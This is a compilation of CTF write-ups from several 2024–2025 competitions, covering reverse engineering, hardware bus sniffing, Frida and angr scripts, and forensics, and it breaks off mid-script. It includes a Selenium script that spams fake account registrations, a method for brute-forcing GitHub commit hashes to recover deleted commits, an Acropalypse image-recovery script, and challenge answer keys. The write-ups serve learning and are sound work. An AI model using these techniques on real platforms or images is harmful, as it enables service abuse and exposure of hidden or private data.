Examined authenticate_user function to understand credential validation:
- Checks credentials against in-memory users array with strcmp()
- Each user record is 68 bytes: 32-byte username + 32-byte password + 4-byte privilege
- Found valid credentials in the users array:
  - guest : guest123 → privilege level 1
  - user : password → privilege level 2
  - tech : support → privilege level 3
Analyzed main_menu function for privilege escalation:
- Normal menu provides basic lock operations (Lock/Unlock/View Log/System Settings)
- Contains hidden master code check: check_master_code(input)
- If master code is correct, elevates privilege to level 99
- At privilege 99, commands starting with ! are passed to handle_debug_command()
Reverse engineered check_master_code function:
- XOR-decrypts two 32-bit values with key 171(0xAB)
- master_code: 0x9C98989A and dword_4A0028: 0x9BD39FC3
- Decrypted master code: 1337h4x0
Discovered handle_debug_command functionality:
- Two encrypted debug commands: !debug and !dump
- !dump displays memory contents via dump_memory()
- !debug calls secret_debug_mode() revealing firmware info and the flag
Executed the exploit:
- Logged in with tech:support to get privilege level 3
- Entered master code 1337h4x0 to escalate to privilege 99
- Used !debug command to retrieve the flag

Flag: flag{r3v3rs3_3ng1n33r1ng_m4st3r}

🔌 Hardware Protocol Analysis

These challenges utilize the CompatrIoT Board to explore various hardware communication protocols and analysis techniques.

UART1

Category: Hardware Protocol Analysis

Challenge Description: UART (Universal Asynchronous Receiver-Transmitter) communication challenge using the CompatrIoT board. This challenge introduces serial communication protocols and teaches how to establish communication between microcontrollers and host systems.

Solution: This challenge provided an excellent introduction to UART communication and serial terminal tools. The setup involved establishing two separate communication channels with the CompatrIoT board.

Initial board connection and challenge access:
- Connected the CompatrIoT board to laptop via USB-C to USB cable
- This established the primary communication channel for challenge navigation
- Accessed the challenge selection interface on the board
- Selected UART1 challenge by pressing Enter to activate it
UART communication setup:
- Why FTDI is required: The FTDI (Future Technology Devices International) chip serves as a USB-to-serial converter. While the CompatrIoT board's USB-C connection provides power and basic communication, the UART challenge requires direct access to the board's TX (transmit) and RX (receive) pins. The FTDI adapter converts these 3.3V/5V serial signals to USB, allowing the laptop to communicate with the UART interface.
- Connected UART pins with crossover wiring:
  - Board TX → FTDI RX
  - Board RX → FTDI TX
  - This crossover connection ensures proper bidirectional communication
Serial communication with PuTTY:
- Used PuTTY terminal emulator for serial communication
- Configuration settings:
  - Connection type: Serial
  - Baud rate: 9600 (standard default for UART communication)
  - COM port: COM7 (as detected in Windows Device Manager)
Challenge completion:
- The challenge presented a simple riddle
- Answer: keyboard
- Successfully retrieved the flag upon correct answer

Flag: compatrIoT{B4s1c_UART_C0mmun1cat10n}

UART2

Challenge Description: UART communication challenge requiring baud rate discovery and mathematical problem solving.

Solution: This challenge required finding the correct baud rate to establish communication, then solving a numerical puzzle.

Baud rate discovery:
- Tested standard baud rates systematically
- Found correct baud rate: 57600
Mathematical puzzle:
- Challenge presented a numerical calculation
- Answer: 194

Flag: compatrIoT{U4RT_Bl4ckH4t_4s14}

Logic Analyser 1

Challenge Description: Logic analyzer challenge requiring custom baud rate determination using signal analysis.

Solution: Used Saleae Logic Analyzer to determine non-standard baud rate through timing analysis.

Signal capture:
- Connected TX and GND to logic analyzer
- Captured UART transmission in Saleae Logic software
Baud rate calculation:
- Used fastest 2-bit method: measure time between opposite bits (1→0)
- Applied formula: Baud rate = 1 / bit time
- Result: 4000 baud
Reference: Saleae Logic Documentation
Challenge completion:
- Connected with PuTTY using baud rate 4000
- Flag provided immediately upon connection

Flag: compatrIoT{sniffing_is_fun}

Logic Analyser 2

Challenge Description: I2C protocol analysis challenge requiring password extraction through EEPROM signal monitoring using logic analyzer.

Solution: Used Saleae Logic Analyzer to monitor I2C communication and extract password from EEPROM reads during authentication.

I2C connection setup:
- Connected SDA, SCL, and GND pins to logic analyzer based on provided schematic
Signal monitoring:
- Accessed challenge login page requiring password input
- Entered random input to trigger authentication process
- Observed I2C signal activity in Saleae Logic during authentication
Password extraction:
- Analyzed I2C communication to extract comparison string
- Identified password: BHA2025!
- Successfully authenticated with extracted password

Flag: CTF{EEPROM_Sn1ff_Ch4llenge}

Challenges Not Attempted

📶 BLE (Bluetooth Low Energy)

BLE-Device 1

Challenge Description: Introduction to Bluetooth Low Energy (BLE) hacking using mobile analysis tools.

Solution: I didn't fully attempt this challenge. Started exploring with nRF Connect mobile app but didn't complete the challenge requirements.

BLE-Device 2

Challenge Description: Advanced BLE exploitation challenge requiring programmatic GATT characteristic enumeration and manipulation using Python scripting.

Solution: I didn't complete this challenge. The author provided a Python script template using the bleak library for BLE communication, but I didn't successfully implement the solution to extract the flag from the target device.

🔧 Soldering & PCB Reversing

Solder Says

Challenge Description: Basic soldering challenge on the SinCon badge (SGD 40). Requires soldering through-hole LEDs.

Solution: I didn't attempt this challenge as it required purchasing the SGD 40 badge. The challenge would involve soldering the provided LEDs into the designated through-hole positions on the badge.

📡 RFID

RFID-2

Challenge Description: Advanced RFID challenge requiring specialized hardware to read RFID card information using tools like Proxmark3.

Solution: I didn't attempt this challenge due to time constraints. The solution would involve using an RFID card reader and working with Proxmark3 to extract information from the RFID card.

📻 Wireless Protocol Exploitation

BPSK Challenge

Challenge Description: Wireless protocol exploitation challenge involving Binary Phase Shift Keying (BPSK) modulated signals. Requires analyzing and exploiting wireless communication protocols to extract hidden information or gain unauthorized access.

Solution: I didn't attempt this challenge due to unfamiliarity with wireless protocol exploitation and BPSK demodulation techniques.

Pager Challenge

Challenge Description: Wireless protocol exploitation challenge focusing on pager communication systems. Involves intercepting, analyzing, and potentially manipulating pager protocol communications.

Solution: I didn't attempt this challenge due to unfamiliarity with pager protocol exploitation techniques.

pingCTF 2025

Mon, 24 Mar 2025 00:00:00 GMT

Misc

ones-and-zeroes

Goals

Download PulseView to decode the I2C signal
Identify the SDA and SCL, decode the signal, focus on DATA WRITE hexdump.
Research on connection between I2C port, how it communicate with LCD pane.
From LCD pane datasheet, decode the message. https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf

Solution

Identify the pinouts and we realise that the focus is only on I2C outputs SDA and SCL, at the end passing to HD44780 LCD Pane, so we don't bother anything on breadboard.
Since we are the LED controller is PCF8574, we are going to operate HD44780 on 4-bit data mode.
To retrieve a single ASCII Hex character, it work on High nibble and Low nibble.
As in hexdump instruction, it exist like this:
- High nibble, E(Enable)= 1
- High nibble, E(Enable) = 0
- Low nibble, E(Enable) = 1
- Low nibble, E(Enable) = 0
Dissect the High Nibble and Low Nibble binaries, combine them into single series, decode it into ascii characters.
Solution overview

Final Result

Flag: pingCTF{Silicon_Is_Talking_To_Me}

KalmarCTF 2025

Tue, 11 Mar 2025 00:00:00 GMT

Misc

babyKalmarCTF

Question: Ever played a CTF inside a CTF?

We were looking for a new scoring algorithm which would both reward top teams for solving super hard challenges, but also ensure that the easiest challenges wouldn't go to minimum straight away if more people played than we expected.

Thats when we came across this ingenious suggestion! sigpwny/ctfd-dynamic-challenges-mod#1

We've implemented it this scoring idea(see here: https://github.com/blatchley/ctfd-dynamic-challenges-mod ) and spun up a small test ctf to test it out.

If you manage to win babykalmarCTF, we'll even give you a flag at /flag!

Spin up your own personal babykalmarCTF here: https://lab1.kalmarc.tf/

Goals

Trick the dynamic CTF scoring system.
Solve all the solvable CTF challenges.
Spam fake team registrations on the platform.
Outperform Kalmarunionen

Solution:

Credit: @OS1R1S for babyKalmarCTF challenges

Within babyKalmarCTF there are several categories of challenges:
- Baby's first RSA adventure (Crypto)
- My First Flagchecker (Reverse)
- THE OSINT CHALLENGE (OSINT)
- Baffling, Ridiculous And Intriguing Letters, Laughter Ensues! (Misc)
- Welcome Flag (Welcome)
- Simple Math Challenge (Impossible)
- Baby's Second RSA (Impossible)
- A randcrack challenge (Impossible)
- The Last Step (Impossible)
Welcome Flag:
Flag: babykalmar{welcome_to_babykalmar_CTF}
My First Flagchecker:
Flag: babykalmar{string_compare_rev_ayoooooooo}
THE OSINT CHALLENGE:
Flag: babykalmar{aarhus}
Baffling, Ridiculous And Intriguing Letters, Laughter Ensues:
Flag: BABYKALMAR{SUPERORIGINALMORSECODECHALLENGE}
Baby's first RSA adventure:
Flag: babykalmar{wow_you_are_an_rsa_master!!!!!}

Final Result

After solving all the challenges, we have to trick the scoring system. The script as below, to spam fake team registration, we designed an Auto Webform Filler.

from selenium import webdriver
from selenium.webdriver.common.by import By
import time

# Set up Firefox WebDriver
options = webdriver.FirefoxOptions()
options.headless = False

driver = webdriver.Firefox(options=options)

register_url = "https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/register"
team_url = "https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/teams/new"
logout_url = "https://45d9cb6b475c2631a4b32ccd8e0bcf6a-59591.inst1.chal-kalmarc.tf/logout"

for i in range(100): 
    driver.get(register_url)
    
    username = f"FakeUser{i}"
    email = f"fakeuser{i}@example.com"
    password = "P@ssw0rd123"

    driver.find_element(By.ID, "name").send_keys(username)
    driver.find_element(By.ID, "email").send_keys(email)
    driver.find_element(By.ID, "password").send_keys(password)

    driver.find_element(By.ID, "_submit").click()

    time.sleep(2)

    driver.get(team_url)
    
    team_name = f"FakeTeam{i}"
    driver.find_element(By.ID, "name").send_keys(team_name)
    driver.find_element(By.ID, "password").send_keys("TeamP@ssw0rd")

    driver.find_element(By.ID, "_submit").click()

    print(f"Registered {username} & Created Team {team_name}")

    driver.get(logout_url)
    time.sleep(2) 

driver.quit()

Flag: kalmar{w0w_y0u_b34t_k4lm4r_1n_4_c7f?!?}

picoCTF 2025

Tue, 11 Mar 2025 00:00:00 GMT

[Reverse Engineering]

Flag Hunters

Goals

When the program starts, the lip is set to the line [VERSE], to retrieve the secret_intro, we need to alter the program so the lip variable set to the line of flag

Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'

as shown, flag is at line 4

so passing index 0 to 3 will works, printing at the start of the lines at most line 4, index 3

Payload: <any_text>;RETURN <0 to 3> (This is not injection)

Final Result

Flag: picoCTF{70637h3r_f0r3v3r_c659e814}

Quantum Scrambler

Goals

Decrypt the encryption and retrieve the flag
Dissect the elements, and observe the scramble
Found final payload, decrypt with reversed scrambler

Solution

Reversed scrambler:

import ast

def flatten(lst):
    flat = []
    for item in lst:
        if isinstance(item, list):
            flat.extend(flatten(item))
        else:
            flat.append(item)
    return flat

def unscramble(cypher):
    print("Outer list elements:")
    for index, element in enumerate(cypher):
        print(f"Element {index}: {element}")
    print("-" * 40)
    
    flat_list = flatten(cypher)
    
    hex_strings = [s for s in flat_list if isinstance(s, str) and s.startswith("0x")]
    
    flag_chars = [chr(int(h, 16)) for h in hex_strings]
    flag = ''.join(flag_chars)
    return flag

def main():
    input_file = 'output.txt'
    
    try:
        with open(input_file, 'r') as f:
            cipher_text = f.read()
    except Exception as e:
        print(f"Error reading file {input_file}: {e}")
        return
    
    try:
        cypher = ast.literal_eval(cipher_text)
    except Exception as e:
        print("Error interpreting cipher text:", e)
        return
    
    flag = unscramble(cypher)
    print("Recovered flag:", flag)

if __name__ == '__main__':
    main()

Final payload: [['0x70'],['0x69'],['0x63'],['0x6f'],['0x43'],['0x54'],['0x46'],['0x7b'],['0x70'],['0x79'],['0x74'],['0x68'],['0x6f'],['0x6e'],['0x5f'],['0x69'],['0x73'],['0x5f'],['0x77'],['0x65'],['0x69'],['0x72'],['0x64'],['0x65'],['0x66'],['0x38'],['0x65'],['0x61'],['0x30'],['0x63'],['0x66'],['0x7d']]
Save this as output.txt

Final Result

Flag: picoCTF{python_is_weirdef8ea0cf}

Binary Instrumentation 1

Goals

The binary bininst1.exe calls the Sleep function from kernel32.dll
Using frida-trace, we generate the handler scripts for API functions
Intercept any call to Sleep, in this case, under KERNEL32.dll
We then set sleep duration to 0, avoiding the program from sleeping.

Solution

Using frida-trace

frida-trace -i "Sleep" ./bininst1.exe

Intercept the handler, by modifying the handler generated, changing sleep duration to zero.

// KERNEL32.DLL/Sleep.js
var sleepAddr = Module.getExportByName("kernel32.dll", "Sleep");
Interceptor.attach(sleepAddr, {
    onEnter: function (args) {
        // Log the original sleep duration (for debugging)
        console.log("Original sleep time: " + args[0].toInt32());
        // Change the sleep duration to 0
        args[0] = ptr(0);
    }
});

Final Result

Flag: picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}

Binary Instrumentation 2

Goals

Disassemble with ghidra, look for suspicious function
Hook with frida

Solution

Deploy the script that hook suspicious function at 0x1dc0

// Get the module base address for bininst2.exe
var moduleBase = Module.findBaseAddress("bininst2.exe");
console.log("Module base address: " + moduleBase);

// Calculate the target function address using a known offset (update this offset as needed)
var funOffset = 0x1dc0; // Adjust this based on your analysis
var targetFunction = moduleBase.add(funOffset);
console.log("Hooking function at: " + targetFunction);

// Hook the target function (FUN_140001dc0)
Interceptor.attach(targetFunction, {
    onEnter: function(args) {
        // Assume:
        //   args[0] is a pointer to the flag data
        //   args[1] is the length of the flag data
        var length = args[1].toInt32();
        try {
            // Try to read the flag data as a UTF-8 string
            var flagData = Memory.readUtf8String(args[0], length);
            console.log("Flag data intercepted (utf8): " + flagData);
        } catch (err) {
            console.log("Error reading flag data as UTF-8: " + err);
            // If reading as a string fails, dump the raw bytes
            console.log("Flag data intercepted (raw):\n" + hexdump(args[0], { length: length, header: true, ansi: false }));
        }
    },
    onLeave: function(retval) {
        console.log("FUN_140001dc0 returned: " + retval);
    }
});

Run the script, then find for the flag

frida -l <script>.js -f ./bininst2.exe

Final Result

Base64 Encoded Flag:

Flag: picoCTF{fr1da_f0r_b1n_in5trum3nt4tion!_b21aef39}

[Forensics]

RED

Goals

Steganography, just upload to Aperi'Solve, ez flag

Solution

Final Result

Flag: picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}

flags are stepic

Goals

Find the country that doesn't exist, the flag persists
Download the country flag
Search for stepic tool
- https://shankaraman.wordpress.com/tag/ctf/
- https://code.tools/man/1/stepic/
- https://pypi.org/project/stepic/
Install stepic tool through pip
Unhide the flag

Solution

Final Result

Flag: picoCTF{fl4g_h45_fl4g57f48d94}

Ph4nt0m 1ntrud3r

Goals

Sort the time, since the reference times are messed up
Decode flag encoded in base64 in a series of consecutive packets

Solution

Final Result

Flag: picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}

Event-Viewing

Goals

Lookup 1033 Event, msi package install event id
Filter with date and time, look for suspicious event after 1033 happen within a short time range, about 20 minutes, found
"EVERY TIME" <---(from question), so clear date and time filter, find with keyword "shutdown.exe" throughout whole event log

Solution

Part 1:

Base64: cGljb0NURntFdjNudF92aTN3djNyXw== Flag 1: picoCTF{Ev3nt_vi3wv3r_

Part 2:
Base64: MXNfYV9wcjN0dHlfdXMzZnVsXw== Flag 2: 1s_a_pr3tty_us3ful_

Part 3:

Base64: dDAwbF84MWJhM2ZlOX0= Flag 3: t00l_81ba3fe9}

Final Result

Flag: picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}

[Binary Exploitation]

PIE TIME

Goals

Call the win() function

Solution

Disassemble with gdb
Observe the difference in address between main function and win function The difference is 0x96, thus, to call the function's address, it must always be main() - 0x96

Final Result

Launch the challenge

Flag: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_a267144a}

[General Skills]

YaraRules0x100

Goals

To detect malware sample with YARA rule while avoiding false positives and false negatives.
Malware can exist in packed(obfuscated) or unpacked(fully extracted in memory), the rule should cover both version.

Solution

rule suspacked
{
    strings:
        $packed_div = ".text$div"

    condition:
        all of them
}

rule susunpacked
{
    strings:
        $unpacked_xml = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
        $unpacked_dll = "ADVAPI32.dll"

    condition:
        all of them
}

Search for yara rule, follow the hint given, work with the format: https://yara.readthedocs.io/en/stable/writingrules.html
Open file with ghidra, search for strings, do trial and error

Final Result

Flag: picoCTF{yara_rul35_r0ckzzz_74c37bd8}

EQCTF 2025

Sat, 25 Jan 2025 00:00:00 GMT

Reverse Engineering

Baka Mitai

Goals

Check file information using checksec
Decompilation using ghidra, check the flagchecker flow
Deploy angr script, perform symbolic analysis References: https://shinmao.github.io/posts/2022/02/bp1/ https://github.com/jakespringer/angr_ctf

Using checksec, we realised the file is dynamcally linked, stripped
Decompile with ghidra, since it's stripped, we have to find the main entry from entry function
Try to rename the variables, functions, for ease of analysis From this point, we could know that:

The program proceed if flag length == 0x37 (55 characters),
It go through complex transformation, lastly doing flagcheck and tell if the flag provide from user input is correct
Well, we are not going to reverse and go through these complex transformations.
Instead, we will deploy angr script, automate this process

I deployed the angr script on google colab

!pip install angr

import angr
import claripy
  
# Define binary path and parameters
input_file_path = './chall'
flag_length = 55
known_string = 'EQCTF{'
FIND_ADDR = 0x4016e4
AVOID_ADDR = [0x4016fa, 0x40159f]
START_ADDR = 0x40158d

# Load the binary
proj = angr.Project(input_file_path, auto_load_libs=False, main_opts={'base_addr': 0x400000})
  
# Create symbolic characters for the flag
known_chars = [claripy.BVV((known_string[i])) for i in range(len(known_string))]
flag_chars = [claripy.BVS(f"flag_{i}", 8) for i in range(flag_length - len(known_string))]
flag = claripy.Concat(*known_chars + flag_chars)

# Create a blank state at the start address
state = proj.factory.blank_state(addr=START_ADDR)
state.options.add(angr.options.LAZY_SOLVES)
state.options.add(angr.options.UNICORN)
  
# Define the address of the local variable `local_58` (e.g., `[RBP - 0x50]`)
# Assume RBP is initialized to some stack base (common for blank_state)
stack_base = state.regs.rbp
local_58_address = stack_base - 0x50  # Offset to local variable `local_58`
  
# Store the symbolic flag into `local_58`
state.memory.store(local_58_address, flag)

# Pass the address of `local_58` in RDI (used by __isoc23_scanf)
state.regs.rdi = local_58_address

# Add constraints to ensure flag is printable (ASCII range 0x20 to 0x7e)
for k in flag_chars:
    state.solver.add(k < 0x7f)  # Less than 0x7f (127)
    state.solver.add(k > 0x20)  # Greater than 0x20 (32)

# Create a simulation manager
sim_manager = proj.factory.simulation_manager(state)

# Explore paths to find the target address while avoiding bad paths
sim_manager.explore(find=FIND_ADDR, avoid=AVOID_ADDR)

# Check if a solution was found
if len(sim_manager.found) > 0:
    # Evaluate the symbolic flag to retrieve its value
    solution = sim_manager.found[0].solver.eval(flag, cast_to=bytes)
    print(f"Flag found: {solution.decode()}")
else:
    print("No solution found.")

To understand how this script works in details, do check out the references provided, and follow the tutorials. The scripting is hard, it just follow a strict template. However, there are few points worth mentioning,

the start_addr, should be placed after scanf CALL instruction, better if placed at where complex transformation start
symbolic stack approach is an important point, specifically for this challenge where you can't just use a universal angr template
blank_state should be used instead of entry_state because strlen is called before scanf, if you define the sim manager with entry state, it will waste extra resources going through strlen library call. Within all libc library call, there are mutex locks which angr cant deal with, which is why you need to hook the function and simulate user input with symbolic memory
find_addr, is the desired memory location where the instance of "Correct" is reached
avoid_addr are the memory location to avoid such as "Wrong"

Final Result

Cryptic Token Diffusion

Goals

Perform binary diffing
Match index number to correspond characters
Rearrange the character in ascending order according to their index number Tools required: vbindiff

Viewing the files, there are two versions of application. Thus, we try to compare the difference between versions.

vbindiff vault-v1.0.0.elf vault-1.2.1.elf

Observe the pattern, we realised that there are two parts showing difference in binaries:
- vault-v1.0.0 acts as the index number, corresponds to the characters in vault-v1.2.1 Part 1 Part 2

List out all the correspondence, sort them in ascending order, turn to ASCII and print it out

v1p1 = [12, 28, 0, 23, 15, 21, 10, 4, 27, 5, 26, 8, 17, 3, 18, 25]
v1p2 = [9, 13, 7, 24, 6, 2, 1, 11, 14, 22, 29, 16, 19, 20]

v2p1 = [0x37, 0x67, 0x45, 0x31, 0x62, 0x5f, 0x30, 0x46, 0x6e, 0x7b, 0x31, 0x74, 0x6e, 0x54, 0x34, 0x66]
v2p2 = [0x72, 0x30, 0x6E, 0x66, 0x31, 0x43, 0x51, 0x5F, 0x5F, 0x64, 0x7D, 0x31, 0x72, 0x79]

v1 = v1p1 + v1p2
v2 = v2p1 + v2p2

pairs = sorted(zip(v1, v2))

sorted_ascii = ''.join(chr(value) for _, value in pairs)

print(sorted_ascii)

Final Result

Gen Z

Goals

Deobfuscate the C code, you may choose not to as it just work
Observe the log, figure out how the flag might relate to the timestamp

Opening the file, you will see obfuscated C code

#define rn ;
#define finna =
#define cap !=
#define mf *
#define bouta &
#define ongod ++
#define sheesh <
#define fr <<
#define bet if
#define chief main
#define yikes break
#define deadass return
#define skibidi {
#define tho }
#define bussin cout
#define huh true
#define lit double

#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>


using namespace std rn

unsigned int seed() skibidi
    deadass static_cast<unsigned int>(time(nullptr)) rn
tho

string getHash(lit value) skibidi
    ostringstream oss rn
    oss fr setprecision(17) fr value rn
    string text finna oss.str() rn
    unsigned char hash[SHA256_DIGEST_LENGTH] rn
    SHA256(reinterpret_cast<const unsigned char mf>(text.c_str()), text.size(), hash) rn
    ostringstream result rn
    for (int i finna 0 rn i sheesh SHA256_DIGEST_LENGTH rn i ongod) {
        result fr hex fr setw(2) fr setfill('0') fr static_cast<int>(hash[i]) rn
    tho
    deadass result.str() rn
tho


int chief() skibidi
    while (huh) skibidi
        unsigned int s finna seed() rn
        srand(s) rn
        int x finna rand() rn

        string flag finna getHash(x) rn

        bet (flag.find("a9ba358e") cap string::npos) {  
            ofstream outfile("./flag") rn
            bet (outfile.is_open()) {
                outfile fr "EQCTF{" fr flag fr "tho" rn
                outfile.close() rn
            tho
            yikes rn
        tho
  
        time_t now finna time(0) rn
        tm mf ltm finna localtime(bouta now) rn


        bussin fr "[" fr 1900 + ltm->tm_year fr "-" rn
        bussin fr 1 + ltm->tm_mon fr "-" rn
        bussin fr ltm->tm_mday fr "] " rn
        bussin fr "🤓☝️ erm actually, you're incorrect 🥺👉👈: " fr x fr endl rn
    tho
    bussin fr "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" fr endl rn

    deadass 0 rn
tho

Just replace the obfuscated part with its actual symbol as shown in define list, to ease our debugging process.

After debobfuscation,

#include <iostream>
#include <fstream>
#include <iomanip>
#include <openssl/sha.h>
  
using namespace std;
  
unsigned int seed()
{
    return static_cast<unsigned int>(time(nullptr));
}

string getHash(double value)
{
    ostringstream oss;
    oss << setprecision(17) << value;
    string text = oss.str();
  
    unsigned char hash[SHA256_DIGEST_LENGTH];
    SHA256(reinterpret_cast<const unsigned char *>(text.c_str()), text.size(), hash);

    ostringstream result;
    for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
    {
        result << hex << setw(2) << setfill('0') << static_cast<int>(hash[i]);
    }
    return result.str();
}


int main()
{
    while (true)
    {
        unsigned int s = seed();
        srand(s);
        int x = rand();

        string flag = getHash(x);

        if (flag.find("a9ba358e") != string::npos)
        {
            ofstream outfile("./flag");
            if (outfile.is_open())
            {
                outfile << "EQCTF{" << flag << "}";
                outfile.close();
            }
            break;
        }

        time_t now = time(0);
        tm *ltm = localtime(&now);
  
        cout << "[" << 1900 + ltm->tm_year << "-";
        cout << 1 + ltm->tm_mon << "-";
        cout << ltm->tm_mday << "] ";
        cout << "🤓☝️ erm actually, you're incorrect 🥺👉👈: " << x << endl;
    }
    cout << "Good job Skibidisigma 🐺🥶 - Adolf Rizzler 🗿" << x << endl;

    return 0;
}

Observing the logfile, We should focus that flag is paired up on [2025-01-01], so we should patch our c code to run on that time stamp, and which we just need to fix the seed() function Part that affect:

unsigned int s = seed();
srand(s);
int x = rand();

Patched seed() function:

// Brute-force timestamp around 2025-01-01
unsigned int seed() {
    static time_t test_time = 1735689600;  // 2025-01-01 00:00:00 UTC
    if (test_time <= 1735775999) {  // 2025-01-01 23:59:59 UTC
        return static_cast<unsigned int>(test_time++);
    }
    return static_cast<unsigned int>(time(nullptr)); // Fallback to current time
}
// -------------------------------------------
// You may also add the line for Found correct seed: to indicate that you found correct seed
if (flag.find("a9ba358e") != string::npos) { 
    ofstream outfile("./flag"); 
    if (outfile.is_open()) { 
        outfile << "EQCTF{" << flag << "}"; 
        outfile.close(); } 
        cout << "Found correct seed: " << s << endl; 
        break; 
    }
...
...

Due to the usage of openssl/sha.h, we should compile our C++ file as below

g++ -o gen_z chall.cpp -lssl -lcrypto

Execute the file

./gen_z

Final result

And flag file is generated:

Github

Here compiles all the challenge related to bruteforing github commit SHA1 hashes

Goals

Some commits are deleted, but it is still hidden on github with original SHA1 key unless the whole repo is deleted and rebuilt.
We need to scrape the hidden commit by doing bruteforcing from hex 0000 until ffff to retrieve all the available commit hashes

Challenges

| Challenges | Category | | -------- | -------- | | Garry: Beyond Music's End 3 | OSINT | | Github is weirdddd 1.0 | Brainfuck | | Github is weirdddd 2.0 | Brainfuck |

Solution

@gr1d wrote a bruteforce tool, GitSHA, for these challenges.

Steps

Install the tool.

git clone https://github.com/gr1d-init/gitsha.git

Automate bruteforcing with the tool.

python gitsha.py -r "<author's name>/<repo's name>"

Final result

Garry: Beyond Music's End 3

3419
4568 #
66f8
8da4 #
a5b6 #

Github is weirdddd 1.0 and 2.0

0067
0b3d
2a63
458e (GitHub 2.0)
481f
4bec
5b27
5ef6
621e
693a
724c
8f66
a24a
b2ff
c47a
cf29
cfba (GitHub 1.0)
ed44
ed90
f6aa

Flags

| Challenges | Category | | -------- | -------- | | Garry: Beyond Music's End 3 | EQCTF{w1z4rd_0f_l3g3nds_1n_d1sgu1s3} | | Github is weirdddd 1.0 | EQCTF{hmmmmmmmm_G1t_L3ak_d@_Fl3g} | | Github is weirdddd 2.0 | EQCTF{Brut3333333333_D@_C0mm1t_99} |

UTM CyberX Internal CTF 2024

Fri, 27 Dec 2024 00:00:00 GMT

Forensics

Apocalypse

Description

Notorious hacker CyberSteal6969 has struck again, this time targeting CyberX, stealing a highly confidential flag. Our team managed to seize his personal computer, but the system was wiped clean, except for a single, suspicious image left behind.

Reports suggest CyberSteal6969 may have been communicating with his counterpart using morse code from video. But leave no stone unturned. Can you uncover the secrets within and retrieve the stolen flag?

Goals

Use pngchecker to check the status of the given image, obtained ERROR:"additional data after IEND chunk", which is after the cropped image
Use Acropalypse-Multi-Tool to recover the full image https://www.youtube.com/watch?v=R866SnJoKQg
Login to flickr with the credentials given
Try to find some useful informations across profile
Grab the pictures and analyse the metadata
Use wayback machine to track past version across the sites

Steps

pngchecker analyse the image
Use the script to recover the full image

import zlib
import io
import struct
import tempfile
import os

class Acropalypse():
    def parse_png_chunk(self, stream):
        size = int.from_bytes(stream.read(4), "big")
        ctype = stream.read(4)
        body = stream.read(size)
        csum = int.from_bytes(stream.read(4), "big")
        assert(zlib.crc32(ctype + body) == csum)
        return ctype, body

    def pack_png_chunk(self, stream, name, body):
        stream.write(len(body).to_bytes(4, "big"))
        stream.write(name)
        stream.write(body)
        crc = zlib.crc32(body, zlib.crc32(name))
        stream.write(crc.to_bytes(4, "big"))
        
    def reconstruct_image(self, cropped_image_file, img_width, img_height, rgb_alpha):
        PNG_MAGIC = b"\x89PNG\r\n\x1a\n"

        orig_width = img_width
        orig_height = img_height

        with open(cropped_image_file, "rb") as f_in:
            magic = f_in.read(len(PNG_MAGIC))
            assert magic == PNG_MAGIC

            # find end of cropped PNG
            while True:
                ctype, body = self.parse_png_chunk(f_in)
                if ctype == b"IEND":
                    break

            # grab the trailing data
            trailer = f_in.read()
            
            print(f"Found {len(trailer)} trailing bytes!")

            # find the start of the next idat chunk
            try:
                next_idat = trailer.index(b"IDAT", 12)
            except ValueError:
                raise Exception("No trailing IDATs found!")

            # skip first 12 bytes in case they were part of a chunk boundary
            idat = trailer[12:next_idat-8] # last 8 bytes are crc32, next chunk len

            stream = io.BytesIO(trailer[next_idat-4:])

            while True:
                ctype, body = self.parse_png_chunk(stream)
                if ctype == b"IDAT":
                    idat += body
                elif ctype == b"IEND":
                    break
                else:
                    raise Exception("Unexpected chunk type: " + repr(ctype))

            idat = idat[:-4] # slice off the adler32

            print(f"Extracted {len(idat)} bytes of idat!")

            print("Building bitstream...")
            bitstream = []
            for byte in idat:
                for bit in range(8):
                    bitstream.append((byte >> bit) & 1)

            # add some padding so we don't lose any bits
            for _ in range(7):
                bitstream.append(0)

            print("Reconstructing bit-shifted bytestreams...")
            byte_offsets = []
            for i in range(8):
                shifted_bytestream = []
                for j in range(i, len(bitstream)-7, 8):
                    val = 0
                    for k in range(8):
                        val |= bitstream[j+k] << k
                    shifted_bytestream.append(val)
                byte_offsets.append(bytes(shifted_bytestream))

            # bit wrangling sanity checks
            assert(byte_offsets[0] == idat)
            assert(byte_offsets[1] != idat)

            print("Scanning for viable parses...")

            # prefix the stream with 32k bytes so backrefs can work
            prefix_length = 0x8000
            prefix = b"\x00" + (prefix_length).to_bytes(2, "little") + (prefix_length ^ 0xffff).to_bytes(2, "little") + b"\x00" * prefix_length

            for i in range(len(idat)):
                truncated = byte_offsets[i%8][i//8:]

                # only bother looking if it's (maybe) the start of a non-final adaptive huffman coded block
                if truncated[0]&7 != 0b100:
                    continue

                d = zlib.decompressobj(wbits=-15)
                try:
                    decompressed = d.decompress(prefix+truncated) + d.flush(zlib.Z_FINISH)
                    decompressed = decompressed[prefix_length:] # remove leading padding
                    if d.eof and d.unused_data in [b"", b"\x00"]: # there might be a null byte if we added too many padding bits
                        print(f"Found viable parse at bit offset {i}!")
                        # XXX: maybe there could be false positives and we should keep looking?
                        break
                    else:
                        print(f"Parsed until the end of a zlib stream, but there was still {len(d.unused_data)} bytes of remaining data. Skipping.")
                except zlib.error as e: # this will happen almost every time
                    pass
            else:
                print("Failed to find viable parse!")
                raise Exception("Failed to find viable parse!")

            print("Generating output PNG...")

            output_path = os.path.join(tempfile.gettempdir(), 'restored.png')
            with open(output_path, "wb") as out:
                out.write(PNG_MAGIC)

                ihdr = b""
                ihdr += orig_width.to_bytes(4, "big")
                ihdr += orig_height.to_bytes(4, "big")
                ihdr += (8).to_bytes(1, "big") # bitdepth
                if rgb_alpha:
